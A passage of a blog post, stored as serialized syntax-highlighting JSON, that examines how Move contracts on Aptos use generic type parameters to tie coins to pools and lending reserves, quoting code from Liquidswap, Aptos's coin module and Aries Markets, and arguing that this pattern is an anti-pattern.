storable\n",{"type":25,"tag":216,"props":9842,"children":9843},{"class":6916,"line":6763},[9844,9848,9852,9856,9860,9865,9869,9873,9878,9882,9887],{"type":25,"tag":216,"props":9845,"children":9846},{"style":6930},[9847],{"type":31,"value":9741},{"type":25,"tag":216,"props":9849,"children":9850},{"style":7369},[9851],{"type":31,"value":9746},{"type":25,"tag":216,"props":9853,"children":9854},{"style":6958},[9855],{"type":31,"value":9751},{"type":25,"tag":216,"props":9857,"children":9858},{"style":6941},[9859],{"type":31,"value":9756},{"type":25,"tag":216,"props":9861,"children":9862},{"style":7369},[9863],{"type":31,"value":9864}," T",{"type":25,"tag":216,"props":9866,"children":9867},{"style":6958},[9868],{"type":31,"value":9766},{"type":25,"tag":216,"props":9870,"children":9871},{"style":6941},[9872],{"type":31,"value":9771},{"type":25,"tag":216,"props":9874,"children":9875},{"style":6941},[9876],{"type":31,"value":9877}," key",{"type":25,"tag":216,"props":9879,"children":9880},{"style":6958},[9881],{"type":31,"value":7020},{"type":25,"tag":216,"props":9883,"children":9884},{"style":6941},[9885],{"type":31,"value":9886},"store",{"type":25,"tag":216,"props":9888,"children":9889},{"style":6958},[9890],{"type":31,"value":7235},{"type":25,"tag":216,"props":9892,"children":9893},{"class":6916,"line":6772},[9894,9899,9903],{"type":25,"tag":216,"props":9895,"children":9896},{"style":6941},[9897],{"type":31,"value":9898},"      id",{"type":25,"tag":216,"props":9900,"children":9901},{"style":6947},[9902],{"type":31,"value":1466},{"type":25,"tag":216,"props":9904,"children":9905},{"style":6958},[9906],{"type":31,"value":9907}," UID,\n",{"type":25,"tag":216,"props":9909,"children":9910},{"class":6916,"line":6999},[9911,9916,9920,9925,9929,9933],{"type":25,"tag":216,"props":9912,"children":9913},{"style":6941},[9914],{"type":31,"value":9915},"      balance",{"type":25,"tag":216,"props":9917,"children":9918},{"style":6947},[9919],{"type":31,"value":1466},{"type":25,"tag":216,"props":9921,"children":9922},{"style":7369},[9923],{"type":31,"value":9924}," Balance",{"type":25,"tag":216,"props":9926,"children":9927},{"style":6958},[9928],{"type":31,"value":9751},{"type":25,"tag":216,"props":9930,"children":9931},{"style":7369},[9932],{"type":31,"value":177},{"type":25,"tag":216,"props":9934,"children":9935},{"style":6958},[9936],{"type":31,"value":9937},">\n",{"type":25,"tag":216,"props":9939,"children":9940},{"class":6916,"line":7104},[9941],{"type":25,"tag":216,"props":9942,"children":9943},{"style":6958},[9944],{"type":31,"value":9817},{"type":25,"tag":38,"props":9946,"children":9947},{},[9948],{"type":25,"tag":64,"props":9949,"children":9950},{},[9951],{"type":31,"value":9952},"sui",{"type":25,"tag":38,"props":9954,"children":9955},{},[9956,9958,9965,9967,9973],{"type":31,"value":9957},"Pulling an example from ",{"type":25,"tag":162,"props":9959,"children":9962},{"href":9960,"rel":9961},"https://pontem.network/",[166],[9963],{"type":31,"value":9964},"Pontem Network's",{"type":31,"value":9966}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":25,"tag":82,"props":9968,"children":9970},{"className":9969},[],[9971],{"type":31,"value":9972},"LiquidityPool",{"type":31,"value":9974}," natively embeds this type information into it's fields.",{"type":25,"tag":206,"props":9976,"children":9978},{"className":6909,"code":9977,"language":6908,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[9979],{"type":25,"tag":82,"props":9980,"children":9981},{"__ignoreMap":7},[9982,9990,10054,10084,10113,10121],{"type":25,"tag":216,"props":9983,"children":9984},{"class":6916,"line":6917},[9985],{"type":25,"tag":216,"props":9986,"children":9987},{"style":6921},[9988],{"type":31,"value":9989},"    /// Liquidity pool with reserves.\n",{"type":25,"tag":216,"props":9991,"children":9992},{"class":6916,"line":6763},[9993,9998,10003,10007,10011,10016,10020,10024,10029,10033,10037,10042,10046,10050],{"type":25,"tag":216,"props":9994,"children":9995},{"style":6930},[9996],{"type":31,"value":9997},"    struct",{"type":25,"tag":216,"props":9999,"children":10000},{"style":7369},[10001],{"type":31,"value":10002}," LiquidityPool",{"type":25,"tag":216,"props":10004,"children":10005},{"style":6958},[10006],{"type":31,"value":9751},{"type":25,"tag":216,"props":10008,"children":10009},{"style":6941},[10010],{"type":31,"value":9756},{"type":25,"tag":216,"props":10012,"children":10013},{"style":7369},[10014],{"type":31,"value":10015}," X",{"type":25,"tag":216,"props":10017,"children":10018},{"style":6958},[10019],{"type":31,"value":7020},{"type":25,"tag":216,"props":10021,"children":10022},{"style":6941},[10023],{"type":31,"value":9756},{"type":25,"tag":216,"props":10025,"children":10026},{"style":7369},[10027],{"type":31,"value":10028}," Y",{"type":25,"tag":216,"props":10030,"children":10031},{"style":6958},[10032],{"type":31,"value":7020},{"type":25,"tag":216,"props":10034,"children":10035},{"style":6941},[10036],{"type":31,"value":9756},{"type":25,"tag":216,"props":10038,"children":10039},{"style":6958},[10040],{"type":31,"value":10041}," LP> ",{"type":25,"tag":216,"props":10043,"children":10044},{"style":6941},[10045],{"type":31,"value":9771},{"type":25,"tag":216,"props":10047,"children":10048},{"style":6941},[10049],{"type":31,"value":9877},{"type":25,"tag":216,"props":10051,"children":10052},{"style":6958},[10053],{"type":31,"value":7235},{"type":25,"tag":216,"props":10055,"children":10056},{"class":6916,"line":6772},[10057,10062,10066,10070,10074,10079],{"type":25,"tag":216,"props":10058,"children":10059},{"style":6941},[10060],{"type":31,"value":10061},"        coin_x_reserve",{"type":25,"tag":216,"props":10063,"children":10064},{"style":6947},[10065],{"type":31,"value":1466},{"type":25,"tag":216,"props":10067,"children":10068},{"style":7369},[10069],{"type":31,"value":9746},{"type":25,"tag":216,"props":10071,"children":10072},{"style":6958},[10073],{"type":31,"value":9751},{"type":25,"tag":216,"props":10075,"children":10076},{"style":7369},[10077],{"type":31,"value":10078},"X",{"type":25,"tag":216,"props":10080,"children":10081},{"style":6958},[10082],{"type":31,"value":10083},">,\n",{"type":25,"tag":216,"props":10085,"children":10086},{"class":6916,"line":6999},[10087,10092,10096,10100,10104,10109],{"type":25,"tag":216,"props":10088,"children":10089},{"style":6941},[10090],{"type":31,"value":10091},"        coin_y_reserve",{"type":25,"tag":216,"props":10093,"children":10094},{"style":6947},[10095],{"type":31,"value":1466},{"type":25,"tag":216,"props":10097,"children":10098},{"style":7369},[10099],{"type":31,"value":9746},{"type":25,"tag":216,"props":10101,"children":10102},{"style":6958},[10103],{"type":31,"value":9751},{"type":25,"tag":216,"props":10105,"children":10106},{"style":7369},[10107],{"type":31,"value":10108},"Y",{"type":25,"tag":216,"props":10110,"children":10111},{"style":6958},[10112],{"type":31,"value":10083},{"type":25,"tag":216,"props":10114,"children":10115},{"class":6916,"line":7104},[10116],{"type":25,"tag":216,"props":10117,"children":10118},{"style":6921},[10119],{"type":31,"value":10120},"        // ...\n",{"type":25,"tag":216,"props":10122,"children":10123},{"class":6916,"line":7210},[10124],{"type":25,"tag":216,"props":10125,"children":10126},{"style":6958},[10127],{"type":31,"value":7305},{"type":25,"tag":38,"props":10129,"children":10130},{},[10131],{"type":31,"value":10132},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":25,"tag":206,"props":10134,"children":10136},{"className":6909,"code":10135,"language":6908,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[10137],{"type":25,"tag":82,"props":10138,"children":10139},{"__ignoreMap":7},[10140,10179,10200,10228,10256,10307,10315,10322],{"type":25,"tag":216,"props":10141,"children":10142},{"class":6916,"line":6917},[10143,10148,10153,10158,10162,10166,10170,10174],{"type":25,"tag":216,"props":10144,"children":10145},{"style":6941},[10146],{"type":31,"value":10147},"      public",{"type":25,"tag":216,"props":10149,"children":10150},{"style":6941},[10151],{"type":31,"value":10152}," fun",{"type":25,"tag":216,"props":10154,"children":10155},{"style":6941},[10156],{"type":31,"value":10157}," mint",{"type":25,"tag":216,"props":10159,"children":10160},{"style":6958},[10161],{"type":31,"value":9751},{"type":25,"tag":216,"props":10163,"children":10164},{"style":7369},[10165],{"type":31,"value":10078},{"type":25,"tag":216,"props":10167,"children":10168},{"style":6958},[10169],{"type":31,"value":7020},{"type":25,"tag":216,"props":10171,"children":10172},{"style":7369},[10173],{"type":31,"value":10108},{"type":25,"tag":216,"props":10175,"children":10176},{"style":6958},[10177],{"type":31,"value":10178},", LP>(\n",{"type":25,"tag":216,"props":10180,"children":10181},{"class":6916,"line":6763},[10182,10187,10191,10196],{"type":25,"tag":216,"props":10183,"children":10184},{"style":6941},[10185],{"type":31,"value":10186},"          pool_addr",{"type":25,"tag":216,"props":10188,"children":10189},{"style":6947},[10190],{"type":31,"value":1466},{"type":25,"tag":216,"props":10192,"children":10193},{"style":6941},[10194],{"type":31,"value":10195}," address",{"type":25,"tag":216,"props":10197,"children":10198},{"style":6958},[10199],{"type":31,"value":7459},{"type":25,"tag":216,"props":10201,"children":10202},{"class":6916,"line":6772},[10203,10208,10212,10216,10220,10224],{"type":25,"tag":216,"props":10204,"children":10205},{"style":6941},[10206],{"type":31,"value":10207},"          coin_x",{"type":25,"tag":216,"props":10209,"children":10210},{"style":6947},[10211],{"type":31,"value":1466},{"type":25,"tag":216,"props":10213,"children":10214},{"style":7369},[10215],{"type":31,"value":9746},{"type":25,"tag":216,"props":10217,"children":10218},{"style":6958},[10219],{"type":31,"value":9751},{"type":25,"tag":216,"props":10221,"children":10222},{"style":7369},[10223],{"type":31,"value":10078},{"type":25,"tag":216,"props":10225,"children":10226},{"style":6958},[10227],{"type":31,"value":10083},{"type":25,"tag":216,"props":10229,"children":10230},{"class":6916,"line":6999},[10231,10236,10240,10244,10248,10252],{"type":25,"tag":216,"props":10232,"children":10233},{"style":6941},[10234],{"type":31,"value":10235},"          coin_y",{"type":25,"tag":216,"props":10237,"children":10238},{"style":6947},[10239],{"type":31,"value":1466},{"type":25,"tag":216,"props":10241,"children":10242},{"style":7369},[10243],{"type":31,"value":9746},{"type":25,"tag":216,"props":10245,"children":10246},{"style":6958},[10247],{"type":31,"value":9751},{"type":25,"tag":216,"props":10249,"children":10250},{"style":7369},[10251],{"type":31,"value":10108},{"type":25,"tag":216,"props":10253,"children":10254},{"style":6958},[10255],{"type":31,"value":9937},{"type":25,"tag":216,"props":10257,"children":10258},{"class":6916,"line":7104},[10259,10264,10268,10272,10276,10281,10285,10290,10294,10298,10303],{"type":25,"tag":216,"props":10260,"children":10261},{"style":6958},[10262],{"type":31,"value":10263},"      )",{"type":25,"tag":216,"props":10265,"children":10266},{"style":6947},[10267],{"type":31,"value":1466},{"type":25,"tag":216,"props":10269,"children":10270},{"style":7369},[10271],{"type":31,"value":9746},{"type":25,"tag":216,"props":10273,"children":10274},{"style":6958},[10275],{"type":31,"value":9751},{"type":25,"tag":216,"props":10277,"children":10278},{"style":7369},[10279],{"type":31,"value":10280},"LP",{"type":25,"tag":216,"props":10282,"children":10283},{"style":6958},[10284],{"type":31,"value":9766},{"type":25,"tag":216,"props":10286,"children":10287},{"style":6941},[10288],{"type":31,"value":10289},"acquires",{"type":25,"tag":216,"props":10291,"children":10292},{"style":7369},[10293],{"type":31,"value":10002},{"type":25,"tag":216,"props":10295,"children":10296},{"style":6958},[10297],{"type":31,"value":7020},{"type":25,"tag":216,"props":10299,"children":10300},{"style":7369},[10301],{"type":31,"value":10302},"EventsStore",{"type":25,"tag":216,"props":10304,"children":10305},{"style":6958},[10306],{"type":31,"value":7235},{"type":25,"tag":216,"props":10308,"children":10309},{"class":6916,"line":7210},[10310],{"type":25,"tag":216,"props":10311,"children":10312},{"style":6921},[10313],{"type":31,"value":10314},"          // ...\n",{"type":25,"tag":216,"props":10316,"children":10317},{"class":6916,"line":7238},[10318],{"type":25,"tag":216,"props":10319,"children":10320},{"emptyLinePlaceholder":16},[10321],{"type":31,"value":7636},{"type":25,"tag":216,"props":10323,"children":10324},{"class":6916,"line":7251},[10325,10330,10334,10339,10343,10348,10352,10356,10361,10365,10369,10373,10377,10382,10387],{"type":25,"tag":216,"props":10326,"children":10327},{"style":6930},[10328],{"type":31,"value":10329},"          let",{"type":25,"tag":216,"props":10331,"children":10332},{"style":6958},[10333],{"type":31,"value":7010},{"type":25,"tag":216,"props":10335,"children":10336},{"style":6941},[10337],{"type":31,"value":10338},"x_reserve_size",{"type":25,"tag":216,"props":10340,"children":10341},{"style":6958},[10342],{"type":31,"value":7020},{"type":25,"tag":216,"props":10344,"children":10345},{"style":6941},[10346],{"type":31,"value":10347},"y_reserve_size",{"type":25,"tag":216,"props":10349,"children":10350},{"style":6958},[10351],{"type":31,"value":7030},{"type":25,"tag":216,"props":10353,"children":10354},{"style":6947},[10355],{"type":31,"value":266},{"type":25,"tag":216,"props":10357,"children":10358},{"style":6941},[10359],{"type":31,"value":10360}," get_reserves_size",{"type":25,"tag":216,"props":10362,"children":10363},{"style":6958},[10364],{"type":31,"value":9751},{"type":25,"tag":216,"props":10366,"children":10367},{"style":7369},[10368],{"type":31,"value":10078},{"type":25,"tag":216,"props":10370,"children":10371},{"style":6958},[10372],{"type":31,"value":7020},{"type":25,"tag":216,"props":10374,"children":10375},{"style":7369},[10376],{"type":31,"value":10108},{"type":25,"tag":216,"props":10378,"children":10379},{"style":6958},[10380],{"type":31,"value":10381},", LP>(",{"type":25,"tag":216,"props":10383,"children":10384},{"style":6941},[10385],{"type":31,"value":10386},"pool_addr",{"type":25,"tag":216,"props":10388,"children":10389},{"style":6958},[10390],{"type":31,"value":7791},{"type":25,"tag":38,"props":10392,"children":10393},{},[10394,10396,10402,10404,10411],{"type":31,"value":10395},"As an aside, this generic type information is implemented at runtime in the ",{"type":25,"tag":82,"props":10397,"children":10399},{"className":10398},[],[10400],{"type":31,"value":10401},"ty_args",{"type":31,"value":10403}," ",{"type":25,"tag":162,"props":10405,"children":10408},{"href":10406,"rel":10407},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[166],[10409],{"type":31,"value":10410},"at the vm level",{"type":31,"value":10412},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":25,"tag":38,"props":10414,"children":10415},{},[10416,10418,10424,10426,10432,10434,10440,10441,10447],{"type":31,"value":10417},"In pseucode, this checks that ",{"type":25,"tag":82,"props":10419,"children":10421},{"className":10420},[],[10422],{"type":31,"value":10423},"coin_x.type",{"type":31,"value":10425}," is equal to ",{"type":25,"tag":82,"props":10427,"children":10429},{"className":10428},[],[10430],{"type":31,"value":10431},"pool.x_type",{"type":31,"value":10433},", and ",{"type":25,"tag":82,"props":10435,"children":10437},{"className":10436},[],[10438],{"type":31,"value":10439},"coin_y.type",{"type":31,"value":10425},{"type":25,"tag":82,"props":10442,"children":10444},{"className":10443},[],[10445],{"type":31,"value":10446},"pool.y_type",{"type":31,"value":179},{"type":25,"tag":38,"props":10449,"children":10450},{},[10451],{"type":31,"value":10452},"This type system has two advantages",{"type":25,"tag":6705,"props":10454,"children":10455},{},[10456,10468],{"type":25,"tag":2037,"props":10457,"children":10458},{},[10459,10461,10466],{"type":31,"value":10460},"It's required. The type parameter ",{"type":25,"tag":64,"props":10462,"children":10463},{},[10464],{"type":31,"value":10465},"must",{"type":31,"value":10467}," be specified so it's impossible to forget such a constraint",{"type":25,"tag":2037,"props":10469,"children":10470},{},[10471],{"type":31,"value":10472},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":25,"tag":38,"props":10474,"children":10475},{},[10476],{"type":31,"value":10477},"However, this system isn't perfect.",{"type":25,"tag":38,"props":10479,"children":10480},{},[10481,10483,10488],{"type":31,"value":10482},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":25,"tag":9267,"props":10484,"children":10485},{},[10486],{"type":31,"value":10487},"an anti-pattern",{"type":31,"value":179},{"type":25,"tag":38,"props":10490,"children":10491},{},[10492,10494,10500],{"type":31,"value":10493},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":25,"tag":82,"props":10495,"children":10497},{"className":10496},[],[10498],{"type":31,"value":10499},"CoinInfo\u003CCoinType>",{"type":31,"value":179},{"type":25,"tag":206,"props":10502,"children":10504},{"className":6909,"code":10503,"language":6908,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[10505],{"type":25,"tag":82,"props":10506,"children":10507},{"__ignoreMap":7},[10508,10535,10543,10612,10619,10626,10638,10683,10705],{"type":25,"tag":216,"props":10509,"children":10510},{"class":6916,"line":6917},[10511,10516,10521,10525,10530],{"type":25,"tag":216,"props":10512,"children":10513},{"style":6941},[10514],{"type":31,"value":10515},"  fun",{"type":25,"tag":216,"props":10517,"children":10518},{"style":6941},[10519],{"type":31,"value":10520}," initialize_internal",{"type":25,"tag":216,"props":10522,"children":10523},{"style":6958},[10524],{"type":31,"value":9751},{"type":25,"tag":216,"props":10526,"children":10527},{"style":7369},[10528],{"type":31,"value":10529},"CoinType",{"type":25,"tag":216,"props":10531,"children":10532},{"style":6958},[10533],{"type":31,"value":10534},">(\n",{"type":25,"tag":216,"props":10536,"children":10537},{"class":6916,"line":6763},[10538],{"type":25,"tag":216,"props":10539,"children":10540},{"style":6921},[10541],{"type":31,"value":10542},"      // ...\n",{"type":25,"tag":216,"props":10544,"children":10545},{"class":6916,"line":6772},[10546,10551,10555,10559,10564,10568,10572,10577,10582,10586,10590,10594,10599,10603,10607],{"type":25,"tag":216,"props":10547,"children":10548},{"style":6958},[10549],{"type":31,"value":10550},"  )",{"type":25,"tag":216,"props":10552,"children":10553},{"style":6947},[10554],{"type":31,"value":1466},{"type":25,"tag":216,"props":10556,"children":10557},{"style":6958},[10558],{"type":31,"value":7010},{"type":25,"tag":216,"props":10560,"children":10561},{"style":7369},[10562],{"type":31,"value":10563},"BurnCapability",{"type":25,"tag":216,"props":10565,"children":10566},{"style":6958},[10567],{"type":31,"value":9751},{"type":25,"tag":216,"props":10569,"children":10570},{"style":7369},[10571],{"type":31,"value":10529},{"type":25,"tag":216,"props":10573,"children":10574},{"style":6958},[10575],{"type":31,"value":10576},">, ",{"type":25,"tag":216,"props":10578,"children":10579},{"style":7369},[10580],{"type":31,"value":10581},"FreezeCapability",{"type":25,"tag":216,"props":10583,"children":10584},{"style":6958},[10585],{"type":31,"value":9751},{"type":25,"tag":216,"props":10587,"children":10588},{"style":7369},[10589],{"type":31,"value":10529},{"type":25,"tag":216,"props":10591,"children":10592},{"style":6958},[10593],{"type":31,"value":10576},{"type":25,"tag":216,"props":10595,"children":10596},{"style":7369},[10597],{"type":31,"value":10598},"MintCapability",{"type":25,"tag":216,"props":10600,"children":10601},{"style":6958},[10602],{"type":31,"value":9751},{"type":25,"tag":216,"props":10604,"children":10605},{"style":7369},[10606],{"type":31,"value":10529},{"type":25,"tag":216,"props":10608,"children":10609},{"style":6958},[10610],{"type":31,"value":10611},">) {\n",{"type":25,"tag":216,"props":10613,"children":10614},{"class":6916,"line":6999},[10615],{"type":25,"tag":216,"props":10616,"children":10617},{"style":6921},[10618],{"type":31,"value":10542},{"type":25,"tag":216,"props":10620,"children":10621},{"class":6916,"line":7104},[10622],{"type":25,"tag":216,"props":10623,"children":10624},{"emptyLinePlaceholder":16},[10625],{"type":31,"value":7636},{"type":25,"tag":216,"props":10627,"children":10628},{"class":6916,"line":7210},[10629,10634],{"type":25,"tag":216,"props":10630,"children":10631},{"style":7041},[10632],{"type":31,"value":10633},"      assert!",{"type":25,"tag":216,"props":10635,"children":10636},{"style":6958},[10637],{"type":31,"value":7414},{"type":25,"tag":216,"props":10639,"children":10640},{"class":6916,"line":7238},[10641,10646,10651,10655,10660,10664,10668,10673,10678],{"type":25,"tag":216,"props":10642,"children":10643},{"style":6947},[10644],{"type":31,"value":10645},"          !",{"type":25,"tag":216,"props":10647,"children":10648},{"style":6941},[10649],{"type":31,"value":10650},"exists",{"type":25,"tag":216,"props":10652,"children":10653},{"style":6958},[10654],{"type":31,"value":9751},{"type":25,"tag":216,"props":10656,"children":10657},{"style":7369},[10658],{"type":31,"value":10659},"CoinInfo",{"type":25,"tag":216,"props":10661,"children":10662},{"style":6958},[10663],{"type":31,"value":9751},{"type":25,"tag":216,"props":10665,"children":10666},{"style":7369},[10667],{"type":31,"value":10529},{"type":25,"tag":216,"props":10669,"children":10670},{"style":6958},[10671],{"type":31,"value":10672},">>(",{"type":25,"tag":216,"props":10674,"children":10675},{"style":6941},[10676],{"type":31,"value":10677},"account_addr",{"type":25,"tag":216,"props":10679,"children":10680},{"style":6958},[10681],{"type":31,"value":10682},"),\n",{"type":25,"tag":216,"props":10684,"children":10685},{"class":6916,"line":7251},[10686,10691,10695,10700],{"type":25,"tag":216,"props":10687,"children":10688},{"style":6958},[10689],{"type":31,"value":10690},"          error",{"type":25,"tag":216,"props":10692,"children":10693},{"style":6947},[10694],{"type":31,"value":7432},{"type":25,"tag":216,"props":10696,"children":10697},{"style":7041},[10698],{"type":31,"value":10699},"already_exists",{"type":25,"tag":216,"props":10701,"children":10702},{"style":6958},[10703],{"type":31,"value":10704},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":25,"tag":216,"props":10706,"children":10707},{"class":6916,"line":7269},[10708],{"type":25,"tag":216,"props":10709,"children":10710},{"style":6958},[10711],{"type":31,"value":10712},"      );\n",{"type":25,"tag":38,"props":10714,"children":10715},{},[10716,10718,10723],{"type":31,"value":10717},"While this ",{"type":25,"tag":82,"props":10719,"children":10721},{"className":10720},[],[10722],{"type":31,"value":10659},{"type":31,"value":10724}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":25,"tag":38,"props":10726,"children":10727},{},[10728,10730,10737],{"type":31,"value":10729},"Similarly, consider ",{"type":25,"tag":162,"props":10731,"children":10734},{"href":10732,"rel":10733},"https://ariesmarkets.xyz/",[166],[10735],{"type":31,"value":10736},"Aries Markets",{"type":31,"value":10738},", a lending/borrowing protocol building on Aptos.",{"type":25,"tag":38,"props":10740,"children":10741},{},[10742,10744,10750],{"type":31,"value":10743},"Their ",{"type":25,"tag":82,"props":10745,"children":10747},{"className":10746},[],[10748],{"type":31,"value":10749},"ReserveCoinContainer",{"type":31,"value":10751}," struct stores all the relevant data and resources for managing a lending market.",{"type":25,"tag":206,"props":10753,"children":10755},{"className":6909,"code":10754,"language":6908,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[10756],{"type":25,"tag":82,"props":10757,"children":10758},{"__ignoreMap":7},[10759,10767,10775,10816,10824,10853,10861,10898,10906,10943,10951,10988,10995,11002],{"type":25,"tag":216,"props":10760,"children":10761},{"class":6916,"line":6917},[10762],{"type":25,"tag":216,"props":10763,"children":10764},{"style":6921},[10765],{"type":31,"value":10766},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":25,"tag":216,"props":10768,"children":10769},{"class":6916,"line":6763},[10770],{"type":25,"tag":216,"props":10771,"children":10772},{"style":6921},[10773],{"type":31,"value":10774},"  /// Stored as a resources.\n",{"type":25,"tag":216,"props":10776,"children":10777},{"class":6916,"line":6772},[10778,10782,10787,10791,10795,10800,10804,10808,10812],{"type":25,"tag":216,"props":10779,"children":10780},{"style":6930},[10781],{"type":31,"value":9741},{"type":25,"tag":216,"props":10783,"children":10784},{"style":7369},[10785],{"type":31,"value":10786}," ReserveCoinContainer",{"type":25,"tag":216,"props":10788,"children":10789},{"style":6958},[10790],{"type":31,"value":9751},{"type":25,"tag":216,"props":10792,"children":10793},{"style":6941},[10794],{"type":31,"value":9756},{"type":25,"tag":216,"props":10796,"children":10797},{"style":7369},[10798],{"type":31,"value":10799}," Coin0",{"type":25,"tag":216,"props":10801,"children":10802},{"style":6958},[10803],{"type":31,"value":9766},{"type":25,"tag":216,"props":10805,"children":10806},{"style":6941},[10807],{"type":31,"value":9771},{"type":25,"tag":216,"props":10809,"children":10810},{"style":6941},[10811],{"type":31,"value":9877},{"type":25,"tag":216,"props":10813,"children":10814},{"style":6958},[10815],{"type":31,"value":7235},{"type":25,"tag":216,"props":10817,"children":10818},{"class":6916,"line":6999},[10819],{"type":25,"tag":216,"props":10820,"children":10821},{"style":6921},[10822],{"type":31,"value":10823},"      /// Stores the available `Coin`.\n",{"type":25,"tag":216,"props":10825,"children":10826},{"class":6916,"line":7104},[10827,10832,10836,10840,10844,10849],{"type":25,"tag":216,"props":10828,"children":10829},{"style":6941},[10830],{"type":31,"value":10831},"      underlying_coin",{"type":25,"tag":216,"props":10833,"children":10834},{"style":6947},[10835],{"type":31,"value":1466},{"type":25,"tag":216,"props":10837,"children":10838},{"style":7369},[10839],{"type":31,"value":9746},{"type":25,"tag":216,"props":10841,"children":10842},{"style":6958},[10843],{"type":31,"value":9751},{"type":25,"tag":216,"props":10845,"children":10846},{"style":7369},[10847],{"type":31,"value":10848},"Coin0",{"type":25,"tag":216,"props":10850,"children":10851},{"style":6958},[10852],{"type":31,"value":10083},{"type":25,"tag":216,"props":10854,"children":10855},{"class":6916,"line":7210},[10856],{"type":25,"tag":216,"props":10857,"children":10858},{"style":6921},[10859],{"type":31,"value":10860},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":25,"tag":216,"props":10862,"children":10863},{"class":6916,"line":7238},[10864,10869,10873,10877,10881,10885,10889,10893],{"type":25,"tag":216,"props":10865,"children":10866},{"style":6941},[10867],{"type":31,"value":10868},"      collateralised_lp_coin",{"type":25,"tag":216,"props":10870,"children":10871},{"style":6947},[10872],{"type":31,"value":1466},{"type":25,"tag":216,"props":10874,"children":10875},{"style":7369},[10876],{"type":31,"value":9746},{"type":25,"tag":216,"props":10878,"children":10879},{"style":6958},[10880],{"type":31,"value":9751},{"type":25,"tag":216,"props":10882,"children":10883},{"style":7369},[10884],{"type":31,"value":10280},{"type":25,"tag":216,"props":10886,"children":10887},{"style":6958},[10888],{"type":31,"value":9751},{"type":25,"tag":216,"props":10890,"children":10891},{"style":7369},[10892],{"type":31,"value":10848},{"type":25,"tag":216,"props":10894,"children":10895},{"style":6958},[10896],{"type":31,"value":10897},">>,\n",{"type":25,"tag":216,"props":10899,"children":10900},{"class":6916,"line":7251},[10901],{"type":25,"tag":216,"props":10902,"children":10903},{"style":6921},[10904],{"type":31,"value":10905},"      /// Mint capability for LP Coin.\n",{"type":25,"tag":216,"props":10907,"children":10908},{"class":6916,"line":7269},[10909,10914,10918,10923,10927,10931,10935,10939],{"type":25,"tag":216,"props":10910,"children":10911},{"style":6941},[10912],{"type":31,"value":10913},"      mint_capability",{"type":25,"tag":216,"props":10915,"children":10916},{"style":6947},[10917],{"type":31,"value":1466},{"type":25,"tag":216,"props":10919,"children":10920},{"style":7369},[10921],{"type":31,"value":10922}," MintCapability",{"type":25,"tag":216,"props":10924,"children":10925},{"style":6958},[10926],{"type":31,"value":9751},{"type":25,"tag":216,"props":10928,"children":10929},{"style":7369},[10930],{"type":31,"value":10280},{"type":25,"tag":216,"props":10932,"children":10933},{"style":6958},[10934],{"type":31,"value":9751},{"type":25,"tag":216,"props":10936,"children":10937},{"style":7369},[10938],{"type":31,"value":10848},{"type":25,"tag":216,"props":10940,"children":10941},{"style":6958},[10942],{"type":31,"value":10897},{"type":25,"tag":216,"props":10944,"children":10945},{"class":6916,"line":7290},[10946],{"type":25,"tag":216,"props":10947,"children":10948},{"style":6921},[10949],{"type":31,"value":10950},"      /// Burn capability for LP Coin.\n",{"type":25,"tag":216,"props":10952,"children":10953},{"class":6916,"line":7299},[10954,10959,10963,10968,10972,10976,10980,10984],{"type":25,"tag":216,"props":10955,"children":10956},{"style":6941},[10957],{"type":31,"value":10958},"      burn_capability",{"type":25,"tag":216,"props":10960,"children":10961},{"style":6947},[10962],{"type":31,"value":1466},{"type":25,"tag":216,"props":10964,"children":10965},{"style":7369},[10966],{"type":31,"value":10967}," 